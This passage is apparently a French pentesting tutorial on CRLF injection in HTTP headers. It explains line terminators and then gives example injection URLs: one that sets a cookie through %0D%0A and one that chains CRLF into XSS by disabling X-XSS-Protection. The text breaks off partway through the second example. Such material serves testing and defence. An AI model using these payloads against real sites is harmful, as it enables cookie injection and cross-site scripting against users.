# CRLF Le terme CRLF fait référence à **Retour** chariot ( CR, \r ) et **Saut** de ligne ( LF, \n ). Ils sont utilisés pour noter la terminaison d'une ligne, cependant, ils sont traités différemment dans les systèmes d'exploitation populaires d'aujourd'hui. Par exemple : sous Windows, un CR et un LF sont requis pour noter la fin d'une ligne, alors que sous Linux/UNIX, un LF est uniquement requis. Dans le protocole HTTP, la séquence CR-LF est toujours utilisée pour terminer une ligne. ## Contexte Pour cette vulnérabilité, imaginons une requête donnant une réponse telle que: ``` Connection: keep-alive Content-Length: 178 Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT Location: https://www.example.com/location/path/here X-Frame-Options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block ``` ## Vérification de la vulnérabilité Dans un premier temps, nous allons vérifier si il est possible de faire une simple injection CRLF dans l'url avec le payload `%0D%0A` (possibilité de tester des payloads plus avancés pour être certain). URL: ``` https://exemple.com/%0D%0ASet-Cookie:mycookie=S1rN3tZ ``` Si l'injection fonctionne, alors nous aurons le résultat suivant: ``` Connection: keep-alive Content-Length: 178 Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT Location: https://www.example.com/[INJECTION ICI] Set-Cookie: mycookie=S1rN3tZ //Le cookie a bien été ajouté X-Frame-Options: SAMEORIGIN X-Sucuri-ID: 15016 x-content-type-options: nosniff x-xss-protection: 1; mode=block ``` ## Injections Avancées Il est alors possible de combiner cette injection sans impacte avec d'autres pour augmenter l'impact de celle-ci. ### CRLF to XSS URL: ``` https://exemple.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2f%2e%2e ``` Résultat: ``` Connection: keep-alive Content-Length: 178 Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT Location: https://www.example.com/[INJECTION ICI] Content-Lenght: 35 X-XSS-Protection: 0